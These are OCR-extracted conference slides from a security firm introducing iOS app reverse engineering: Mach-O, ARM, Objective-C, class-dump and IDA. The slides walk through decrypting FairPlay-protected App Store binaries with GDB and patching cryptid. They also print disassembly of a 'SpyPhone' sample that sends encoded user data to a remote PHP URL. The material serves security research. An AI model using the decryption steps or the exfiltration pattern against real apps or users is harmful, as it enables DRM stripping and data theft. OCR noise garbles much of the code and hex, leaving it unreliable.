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Preamble

« Security engineer @ SCRT

 Areas of interest focused on reverse engineering,
software vulnerabilities and OS internals

e Not an Apple fanboy but like all the cool kids... ;)

e Goals of this presentation is to give a state of the art, in
45minutes, of my knowledge about iOS applications
reverse engineering

* Motivate people to do more research in user/kernel-land
iIOS reverse engineering

— = — g
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Motivations
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A few numbers

»  +160 millions iIOS users
»  +400 000 applications available
»  +10 billion downloads

— (modestly) large user base
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DIGIPASS for Mobile

Tous/toutes les Apps pour iPhone pour « e-banking »

CEFC - Citizens Bank ...

e-banking applications

iDutBank - Mobile Ba...

Code Cards

Finances Finances Finances #z 3 Productivité
Mise ajour 1016vr. 2011 CITIZENS Sortie 03 ogt. 2010 Mise  jour 22 févr. 2011 Mise & jour 26 janv. 2011
GRATUIT ||+ LBANK cratur|[~ GRATUIT [ v 45) GRATUIT [ v

iBank with BOL NEA Bank Mobile Clear2Pay MOB Mountain National Bank - ...

, Finances AVARNIES Finances
c Mise a jour 15 nov. 2009 r . Mise a jour 03 déc. 2010

Finances Finances
Sortie 20 sept. 2010 Mise a jour 23 acdt 2010
GRATUIT ||+ GRATUIT ||+ Clear2Pay GRATUIT ||+ w GRATUIT ||+

ESE Mobile SmartBank Mobile Ossian State Bank Mobile ...

Cumberland Mobile

e, - Finances Finances &, Finances = Finances
ﬁ%ﬂﬁ Sortie 23 nov. 2010 m Sortie 16 déc. 2010 Cumberland Mise  jour 22 déc. 2010 «@ Sortie 23 oct. 2010
GRATUIT ||+ SmartBank | “crauir [+ teils| G OSSIAN GRATUIT [ v

—_— FNE Mobile BSF - Bank of St. Fran... . FCCE - First Choice M... OTE - Old Town Mobile
‘ Finances Finances N Finances Finances
- OLD TOWN
» Sortie 27 juil. 2010 BANK CF Sortie 14 oct. 2010 Sortie 25 aolt 2010 BA\]’K % Mise a jour 22 déc. 2010
GRATUIT [+ ST PRANCIVILE T = GRATUIT [ R GRATUIT [
The Provident Bank M... Beach Mobile Banking CSE Mobile First Community Bank - M...
Finances Finances Finances 'y Finances
Mise a jour 18 févr. 2011 Sortie 24 juil. 2010 Sortie 27 juil. 2010 ot Mise a jour 03 déc. 2010
GRATUIT || v GRATUIT ||+ GRATUIT ||+ GRATUIT ||+
HSSE Mobile Banking NJCE Mebile Banking CET Mobile Rockland Trust Mobile
Finances Finances Finances Finances
Sortie 21 févr. 2011 USRI Sortie 15 féwr. 2011 Mise 4 jour 18 sept. 2010 Sortie 03 févr. 2011
GRATUIT || v GRATUIT ||+ GRATUIT ||+ GRATUIT ||+
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Applications review

> Apple defined a review process
> 10% of the applications are classified as dangereous

» Cases of applications not « compliant » with
their description

ESCRT
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Storm8 case

iPhone developer accused of stealing user data via i 06 Nov 2009
app backdoor

The complaint seeks class action status so other users of Storm8 games

Nick Spence

A US iPhone developer behind a series of popular games has been - - ) E
accused of stealing users data via a backdoor in the applications.

% R III\
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Now, what if you want to...

> check an external app ?

> verify that your application is secure ?

» check what kind of information an attacker
can get from your application ?

SR
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Best reason ever...

» Because it's fun to learn how to reverse new
things !

.......... SCRT
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The architecture
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Mach-O

»  File format for
»  Executables
»  Libraries
»  Core dumps
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Mach-O

» Contains three parts

»  Header
»  Load commands
»  Data
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Mach-O

» Header

mach_header

mAgic;
cpu_tyvpe_t cputype;

cpu_subtype_t cpusubtvpe;
filetype;
ncmds
zizeofcmds;

flags;

Information Security BENENESSERT.CH 14



Mach-O

® MM Terminal — zsh — zsh — 80x40
File Edit Windows Help 1A:32 B4.04.2011f 2

— flkeers/guny/Docusent s/poper s/ scs3/opps/codecards .ormvh ————

El

—
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Mach-O

> Load commands
> Indicates memory layout
> Locates symbols table
> Main thread context
»  Shared libraries

‘I‘L‘h Information Security
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Mach-O

» Data Hoader
P . Load commands
> Segments containing sections Segment command |
» __PAGEZERO Segment command 2
»  TEXT pata ]
»  Executable code and r-- = Section 1 data ;
= Section 2 data
’ —DATA g Section 3 data
) rw- Section 4 data -

Section 5 data

N

__OBJC

Segment 2
&

Section n data
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(] ™ xterm-color — zsh — zsh — 80x40
*—z otool -1 opps/oodecords .omrvh

M a C h - O ']”f_ . | nnur

> objdump ?
> Forget about it

[ I

A

> Introducing : otool

[ D ey B )
=5

align
reloff E
nreloc E

secthnome _

EREREESERT.CH 18




Mach-O

» Universal / FAT files

»  Supports multiples architectures

»  For OSX

> Universal

»  PowerPC, x86 and x86 64 ' ) m 25sh — zsh — 80x40
»  ForiOS o e

> FAT

> armve, armv’

. WLWW.SCRT.CH 19



Objective-C

> Programming language
»  Superset of the C language

> Object oriented
»  Class method calls differ from C++

---------- NSCRT II‘\\ WWW.SCRT.CH 20
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Calling methods

» C++
> ObjectPointer->Method(param1, param?2)
»  Obj-C

»  [ObjectPointer Method:param1 param2Name:param?2]

.......... SCRT
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Looking more closely

»  [ObjectPointer Method]
»  objc_msgSend(ObjectPointer, @selector(Method))

> Selector
»  C string
> objc_msgSend(ObjectPointer, "Method")

=
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ARM

» RISC

» load-store architecture

> Fixed-length 32-bit instructions
» 3-address instruction formats

.......... SCRT
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Registers

» User-level programs
» 15 general-purpose 32-bit reqgisters : rO — r14
» PC=r15
»  Current program status register (N, Z, C, V flags, etc.)

.......... SCRT
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L oad-store architecture

> Instructions can be classified into 3 groups
»  Data transfer (load-store)
> Data processing
> Control flow

.......... E:RT
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Data transfer instructions

> Load from memory
»  LDR 0O, [r1] — r0 = mem[r1]

> Store to memory
»  STR O, [r1] - mem[r1] =10

“\ NS E/RT.CH 26



Data processing instructions

»  Simple

» ADDTrO,r1,r2—-r0O=r1+r2
»  Immediate operands

» ADDrM1,mM1,#1 -r1=r1+1

> Shifted register operands
» ADDr3,r2,r1, LSL#3 - r3 =12 + (r1 << 3)

= B
B SCRT
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Control flow instructions

»  Branch instructions
» B LABEL
» BAL LABEL

» Conditional branches
»  BXX LABEL
»  BEQ, BNE, BPL, BMI, ...
» Conditional execution
»  CMP r0, #5 — if (r0!= 5)
» ADDNET1,r1, r0 r1=r1+r0

@]\\.ﬁr}ﬁ Information Security \ wll.sSC/RT.CH 28



Control flow instructions

»  Branch and link instructions
BL SUBROUTINE — r14 = @next instr + jmp SUBR
PUSH {rO-r5, LR}

v

N

POP {rO-r5, PC}

N

= e
B SCRT
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Calling convention

> Arguments values
» 0 —r3

» Local variables
» 14 — r11

»  Return value
» 10

---------- NSCRT II‘\\ WWW.SCRT.CH 30
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Summing it up

> Objective-C
»  [ObjectPointer Method:42]

» CH++
> ObjectPointer->Method(42)
> Pseudo C

> objc_msgSend(ObjectPointer, "Method", 42)
> ARM assembly

| _
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AppStore binaries
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First of all

> Forget about the simulator
> Binaries compiled for x86 not ARM
> Need to use a jailbroken iOS device

»  Tools to install
»  SSH
»  GDB

)

.......... SCRT
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Find'em

»  Downloaded from the AppStore as .ipa
»  ZIP file
> ~/Music/iTunes/iTunes Music/Mobile Applications/

> On 10S devices
> /var/mobile/Applications/<UUID>/<AppName>.app/

ESCRT
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Content of <AppName>.app*

L ; L =X
—Fl=F =t ——
—Fl=Y =t ——
¥l ===} ——
Y-t == ——
—Fl=Y =t ——
¥l ===} ——
Y-t == ——

S

o T L,

Codelords .opp

=

[m)]

1
1
1
1
1
1
1
1
4
R

[

(S = N N Ay

guru
guILl
guILl
gurul
guIy
guILl
gurul
guIy
guILl
gurul
guIy
guILl
guru
guru
guILl
guru
guru
guILl
guru
guru
guILl

Icon

' Toon .pr

Icaon

urceRules.plist

_Infao
ttings.bundle

‘ML .Binary . Info.plist

CodeSignature

' delete.png

. Lpro]
aunch .png
v lproj
U. Lproj
Lhick .png
wor ld.phig

*after download from the device to workstation. Owner set to mobile:mobile on iOS

.'¥§

Information Security
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FAT binaries

v

Binary might contain multiple versions
> Need to extract the one corresponding to our device

% lipo -thin armvé CodeCords.opp/CodeCards -output codecards.armv
¥ file codecards.armve
Codes JBr Mackh-0 executable acorn

Mach header
magic cputvpe cpusubtvpe caps filetvpe ncmds zizeofcmds flags
Axfeedface 1z 6 AxAa 2 ZA 2786 AxPAAAAAASH

Information Security BN ERT.CH
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Decrypt'em

> Encrypted using "FairPlay like" method
> Each executable page is encrypted with AES and a MD5
checksum is computed
> How to know if a binary is encrypted ?
»  LC_ENCRYPTION_INFO

> cryptid — 1 if the binary is encrypted
> cryptoffset — offset of the encrypted data
> cryptsize — size of the encrypted data

_;-;-;; SCRRT \ LWWWSCRT.CH 37

fﬁf}l Information Security



LC_ENCRYPTION_INFO

*—= otool -1 codecards.armv6| grep LC_ENCRYPTION_INFO -B1 A4
Load command 1A
I

chndzize ZF

BRI ERRT.CH 38




Unpack the binary

» Use a script that automates the process

»  crackulous
> Not leet enough;)

> "unpack your app in 5 steps and achieve

peace"”
> Launch GDB
»  Set a breakpoint
> Run the application
»  Extract the unencrypted executable code
> Patch the architecture specific binary

SR
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Where do | set the breakpoint ?

> EXxecution steps
> FAT binary is run
> Architecture specific binary is mapped in memory
»  Executable code is decrypted
> Branch to start symbol

»  Get start's address

*—» nm codecords .arevh | grep start B

_%_oddEd

Information Security WWW.SC/RT.CH 40
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GDB, set, run

AR

' -0, #3IcA4438 :
strbgt. r2, [rd, #125]
adclt -7, rd, #1153 :
ldrbes r2, [r5, -ro, L=l

=t 5, #9744 ;

11 TG, :
q, cra,

Information Security
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« Breakpoint reached capt'ain »

—JE=— /g

Information Security

s add
: add
: bic
Domoy
A15: ldr
oCcmp
: bne
: hblx

rl, =p, # E
r4, rd, #1 ; Bx
r4, l=l #

BRENENESERRT.CH 42



Extract the executable code

»  Useful information
»  start
> cryptsize

) {gdb’ dump memory decrypted.bin Bx2888 (Bx2000 + 36864 )

NIRRT .CH 43
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Patch the architecture specific binary

» Locate LC_ENCRYPTION_INFO

> Mach-O header parser
»  Hexadecimal editor

> Replace cryptid
» 1 —>0

> Replace encrypted code with unpacked one

@M =YY TN Sonw ty \Luu.m.l.scﬁ-r.l:l—l 44



Locate LC_ENCRYPTION _INFO

»  Mach-O header parser

> Search for the load command in the binary

cmd LC_ EHI"F""'F'TII'IH INFO
cmdsiz

A =R

Information Secu BEENERSSERT.CH 45




M codecards.armvie

SO0

Locate LC_ENCRYPTION _INFO

O XD <«Pp»

Find

Co To Offset

Redo

Paste Undo

Cut

o FUST

0

Alibfdy e sen s

AAYEY ©A BB BB BR B8 BB B8 BA B B8 B8 BE AR AR BE 1C BA B8 BB AC BB A8 88 2F Y5 Y3 Y2
ARGA4  2F 6C 69 62 2ZF &4 79 6C 64 BA B8 B8 16 AF B8 AR 15 68 B8 BB &F B5 95 AS ZE 4B °F
AaglF BF 2F &7 9B 2F 97 Be 9F B9 B85 B8 BB B0 54 B8 0A BB A1 B8 BB A0 11 08 B8 B0 BA BA
AA354 B8 BB A0 BA OO B8 A0 B8 B8 B0 B8 O OO A0 B8 BB B0 B8 B BB A0 BB 08 OB A8 B B8
AASEE  EA BB AR BR BB BB B8 BA BE B8 B8 B0 AR AR BE AR BA B8 BB BB AR A8 BB B8 BA B8 A8
AASTE EA BB BB BA BB 20 B8 B8 B8 B8 B8 AR Z1 AR BE AR 14 B8 BB AR BA 16 B8 B8 BA 98 B8
AASSE ©E8 Bl AR BA BB AC B8 B B8 54 B8 B0 AR 153 B8 AR B8 B2 BB AR BA A8 31 EF B2 68 A4
Aagas 2C Bl 2F B3 79 T3 74 65 6D ZF 4C 69 62 T2 61 V2 79 ZF 46 T2 61 6D 65 VY 6F T2 6B
BAA3C1 73 ZF 46 6F TE 6E 64 61 74 69 6F 6E ZE 66 YZ 61 6D 65 Y7 &6F T2 6B ZF 46 &F 75 EE
aa3bCc o4 61 74 69 oF 6E B0 B8 BC 00 68 B8 4C 60 68 08 15 60 B0 0B 82 60 08 09 B89 B8 Yo
AASFT ©5 B8 BA A1 B8 2F B3 V9 Y3 74 65 6D EZF 4C 69 62 V2 61 Y2 MY 2F 46 V2 ol abh 65 77
AR91z oF Y2 6B V3 EZF BE 49 4B 69 74 ZE 66 V2 61 6D 65 77 6F Y2 6B ZF BE 49 4B 69 T4 B4
AR9ZD B8 BB AR BC BB BB B8 55 EA B8 B8 15 AR AR BE B2 B8 B8 B AR B8 &S A2 68 B8 48 A48
AA943 2F B3 79 Y3 T4 6B 6D 2F 4C 69 62 Y2 81 V2 79 ZF 46 T2 61 eD 65 YV 6F V2 6B 73 =2F
AA953 43 6F 7Z 65 47 T2 61 78 65 69 63 Y3 ZE 66 YZ ol 6D 65 Y7 6F T2 6B ZF 43 6F TZ 65
AA9TE 47 Y2 61 VA 65 &9 63 Y3 B6 B8 BC B0 AR AR BE AR BA B8 15 AR B0 A8 A2 88 B8 B8 A8
AA939  BF 48 A1 B8 B8 A1 88 2F 53 72 Y3 74 6b oD ZF 4C 69 62 Y2 61 V2 79 ZF 46 V2 61 6D
AA9E4 65 Y7 6F V2 6B V3 ZF 43 6F Y2 65 44 61 T4 61 ZE 66 V2 61 6D 65 77 &F V2 6B =F 43
AA9CF &F 72 65 44 61 74 61 B8 B8 BC B8 BB B9 34 B8 08 B0 15 B8 08 A0 B2 0B B8 B0 BA B
AA9EL 96 BB A8 BA Bl 88 2F VR 73 V2 ZF 6C &9 62 2F eC 69 62 67 63 63 5F V3 ZE 31 ZE &4
AAAEE 79 6C 69 62 BB B8 B8 BC B8 BB B8 54 BO A0 B8 15 B0 68 BA B2 A0 A8 08 B8 A4 YD B8

- R

. Sovstenslibrary/Framework
z/Foundat ion .. framework Foun

dation.....

N

-Sovstendlibrary AFramew
orks/UIKiE framework /UIELL .

Sovstemslibrary Frameworkss
Corebraphics .. framework/Core

Graphics.....
-

AowstemsLibrary /Fram

eworksCorebata . framework C

orebata.....

o4oooonn00000aa

LAusrSlibd libgoe_=.1.d

¥libueeses

Value

'Type

8 bit signed 33

& bit unsi...

Ox21

0x0021

16 bit uns...

1/ hit cinned 33

Hex

A

Selection: 14

Offset: 87C

Insert

Little Endian
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Modified LC_ENCRYPTION _INFO

$ otool -1 codecards.decrvpted.armvé| grep LC_EMC -Ad

o SR
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Replace encrypted code

#H usr/binfenvy python

if lEﬂ{EyE.urgv} I= 4-
print "
exit (1)

t.|:||':||]t.|::|"| = Open Cavs.aragvll]. "

SR

Information Security RENEREVSERT.CH 48




Reverse'em

»  Retrieve classes declarations
> class-dump

> Resolve objc_msgSend calls

> Useless call graph
> Need to patch the disassembly

.......... SCRT
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class-dump

dinterface CodeCardsapplelegate @ WN30bject AlldpplicationDelegatex
C
|

UIWindow *window;
mAainContral ler *contraol ler;
db *dbl;

Lywapplication:{idbargl didFinishLaunchingWithOptions:{idorg2;
d]ﬂpplllﬂflnnDldEanIEﬂliﬂluund lldjﬂlﬂl

Aerid

mSCRT
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First look at the disassembl

P R I <

fcoDEls

; Attributes: bp-based frame
_main

PUSH {R4-R7,LE}

ADD R7, SF, #0xC

HOWVS R4, RO

HOWVS R6, Rl

LDR RO, =({off CA3IC - 0x203C)
LDRE Rl, =(off CHEEB - OxZ03E)
ADD RO, PC

ADD Rl, PC

LDR RO, [RO]

LDR R1, [R1]

BLX _objc_megSend

LDR Rl, ={off CG664 - OxX204A)
ADD R1l, PC

LDRE Rl, [R1]

BLX _objc_msgSend

LDR R3, =(cistr Codecardsappde - 0x2058)
HOWVS Rl, R&

HOWVS RZ, #0

ADD R3, PC ;i “CodeCardsAppDelegate
HOWVSE R5, RO

HOWVSE RO, R4

BLX _UIApplicationMain

LDR Rl, =(off CGEE0 - OxZ064)
ADD Rl, PC

LDR R1, [R1]

HOVS R4, RO

HOVS RO, R5

BLX _abjc_msgsend

HOWVS RO, R4

POF {R4-R7,FC}

;i End of function _main

= SR
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objc_msgSend

» As stated before

> objc_msgSend(<ref to object>, @selector(method), ...)

> ARM calling convention
» arg1 —r0

> arg2 — ri

> Backtrace calls to objc_msgSend
» By hand
> Using Zynamics IDAPython scripts

@]\\.ﬁr}ﬁ Information Security \ WS CRT.CH 52



objc_helper.py

Ll i 3
CODELS
|
; Attributes: DP—DESEU frame
_main
PUSH {R4-R7 , LR}
ADD R7, 5P, ¥0xC
MOVS R4, RO
MOVS RG, R1
LODR RO, =({off CA3C - 0x203C)
LDR REl, =({off CEEB - OxX203E)
ADD RO, PC
ADD Rl, PC
LOR RO, [RO]
LOR R1, [R1]
BLX __NSAutoreleasePool alloc
LODR REl, =(off CE64 - OXZO4A)
ADD Rl, PC
LDR R1, [R1]
BLE _ inmie_
LOR R3, ={cistr Codecardsappde - 0x2058)
MOVS Rl, RA
MOVS RZ, #0
ADD B3, FC ; “CodeCardsAppDelegate
MOVS RS, RO
MOVS RO, R4
BLE _UIApplicationMain
LOR Rl, ={off CEG0 - OxZ0G64)
ADD R1, PC
LOR R1, [R1]
MOVS R4, RO
MOVS RO, RS
BLX ___ releasa
MOVS RO, R4
FOP {R4-RT ,FC}
; End of function main

SR
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What to look for
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Where to start

»  Locate the main class

> UlApplicationDelegate
> applicationDidFinishLaunching

»  ApplicationDidFinishLaunchingWithOptions

> VIews

> UI*ViewController
> viewDidLoad

= B
B SCRT

“I.é& Information Security \ LW.SC/|RT.CH 55



Nn

applicationDid

shLaunching

s B
; Attributes: bp-based frame
_ CodeCcardsAppDelegate_application didFinishLaunchingWithoptions
var_ 2IC= -0xiIC
var_ 28= -0xZ8
var i4= -0xid

rol didFinis var_20% -0x0

ckgroune FUSH {R4-R7 , LR}
= HOV R6, R11

HOV RS, R1O
MOV R4, RB
PUSH {R&-RE}
ADD R7, 8P, #0x18
SUB 5P, SF, #0xlC
LDR Rl, =(off_ CeDE - 0OxZ188)
HOV REB, RO
LDR RO, =({off CA40 - OxZ1EBC)
ADD R1l, FC
LDR RS, ={cfstr Checkregionfor - Ox219A)
ADD RO, PC
LDR R1l, [R1]
LDR RO, [RO]
BLX __ HSUserDefaults standardUserDefaults
LDR Rl, =({off C6D4 - OxZ15C)
LDR RZ, =({cistr Yes - OxZlA0)
ADD RS, PFC H checkReglionForm
ADD Rl, PC
HOVS R3, RS
ADD RZ, PC H IES
LDR R1, [R1]
LDRE R6, =(cistr_Applelanguages - OxXZ1lA6)
ADD RG6, PC i AppleLanguages
HOVS R4, RO
LDR RO, =({off CAd4d4 - OxZ1AC)
ADD RO, PC
LDR RO, [RD]
BLX _ Nspictionary dictionaryWithobject forKey
LDE Rl, =({off CED0D - OxZI1B6)
ADD Rl, PFC
LDR R1, [R1]
HOVS RZ, RO
HOVS RO, R4
BLX _ registerpDefaults_
LDE Rl, =(off CHCC - OxZI1CAH)
HOVS RO, R4
ADD Rl, PC
LDR R1, [R1]
HOV R11l, R1
BLX _ synchronize
LDR Rl, =({off C6CE - OxZ1DA)

Information Security

BN ERT.CH

56



Remote connections

MOV RO, RAE
BLX _ HsObject encode
) LDR R1, =off_ 19864
LOE R2, =cfrtr HetplO O 2 1Ju ; “http:,//10.0.2.1/julien/iphone.php¥data=4%8
LDR R1, [R1]
MOVS R3, RO
NSURL LDE RO, =off 19EIC
) LDR RO, [RO]
BLX _ NHSString stringWithFormat
LDR Rl, =off 1985C
LDR R4, [RL]
> . LDR REl, =off 19860
LDR R1, [R1]
MOVS RZ, RO
LDR RO, =off_ 19E20
LDR RS, [RO]
) OC e S LDR R0, =off 19E24
LDR R0, [RO]
BLX __ HSURL URLWithString

LDR Rl, =0x40340000

»  CFSocketCreate vy R

HOVS RO, %0

STR RO, [SP,#0xlc+var 1C]
STR Rl, [SP,#0xic+var 18]
) R MOVS Rl, R4
HOVS RO, RS
BLX __ WSURLRequest requestWithURL cachePolicy timeoutInterval
LDR Rl, =off_ 19858
MOVS R3, #0
STR R3, [SP,#0xlc+var 14]
STR R3, [SP,#0xlc+var 1C]
LDR Rl, [R1]
ADD R3, 8P, #0xlc+var 14
MOVS RZ, RO
LDR RO, =off 19EZ8
LDR RO, [RO]
BLX ___HSURLConnection_ sendSynchronousRequest returningResponse _error
ADD SF, 5P, ¥0xC
POP {RZ}
MOV RE, R2
POF {R4-RT ,PC}

; End of function SpyPhoneApphelegate_applicationDidFinishLaunching

— = — g
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Data protection

> Accessing the KeyChain using JB tools

»  Lost iPhone ? Lost Passwords ! *

> Protect KeyChain content

> Using passcode
»  setAttributes ofltemAtPath — NSFileProtectionComplete
»  SecltemAdd — kSecAttrAccessibleWhenUnlocked

* http://www.sit.fraunhofer.de/forschungsbereiche/projekte/Lost_iPhone.jsp

SR
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Data protection

FUSH {R7 LR}

ADD RT7, 3P, #0

SUB sP, 5P, $0xiC

LDR R3, =(_kSecClassGenericPassword_ptr - OxZADE)
LDR.W R1Z, ={_ kSecAttrService ptr - OX2AED)
LDR RO, =({off_ lADAD - OxZAEAR)

ADD R3, PC

ADD R1Z, BC

LDR R3, [R3]

LDR.W R1Z, [R1Z]

LDR R1, ={off 1ATDO - Ox2AFZ)

ADD RO, PC

LDR.W LR, [R3]

LDR R3, =(_kSecClass_ptr - Ox2AF6)

ADD Rl, FC

LDR RO, [RO]

ADD R3, PC

LDR R1, [R1]

LDR R3, [R3]

LDR 3, [R3]

STR RZ, [8P,#§0xlC+var 1C)

LDR.W R1Z, [R1Z]

STR RZ, [8P,#$0xlC+var 14]

LDR RZ, =(_kSecAttrAccount_ptr - OxZBOC)
STR.W R1Z, [SF,$0xlC+#var 18]

ADD RZ, PC

LDR RZ, [RZ]

LDR RZ, [RZ]

STR R2Z, [8P,#0xlC+var 10]

LDR RZ, =( kSecAttrAccessibleAfterFirstUnlock_ptr - OxZBl6)
ADD RZ, FC

LDR RZ, [RZ]

LDR RZ, [RZ]

STR RZ, [SP,#0xlC+var C]

LDR RZ, =(_kSecAttrAccessible ptr - O0xZB20)
ADD RZ, FC

LDR RZ, [RZ]

LDR RZ, [RZ]

STR R2Z, [SP,#0xlC+var 8]

MOVS RZ, #0

STR R2Z, [SP,#0xlC+var 4]

MOV RZ, LR

BLX _ HSMutableDictionary dictionaryWithObjectsAndEeys
SUB.W SF, R7, #0

POP {RT ,PC}

— = — g
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Conclusion
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Conclusion

» This is a revolution !

> This presentation was only an introduction
» Lot of work/ideas around iOS
> Grab your debugger and disassembler and work on it
> I'm open to discuss it around a few beers

ESCRT
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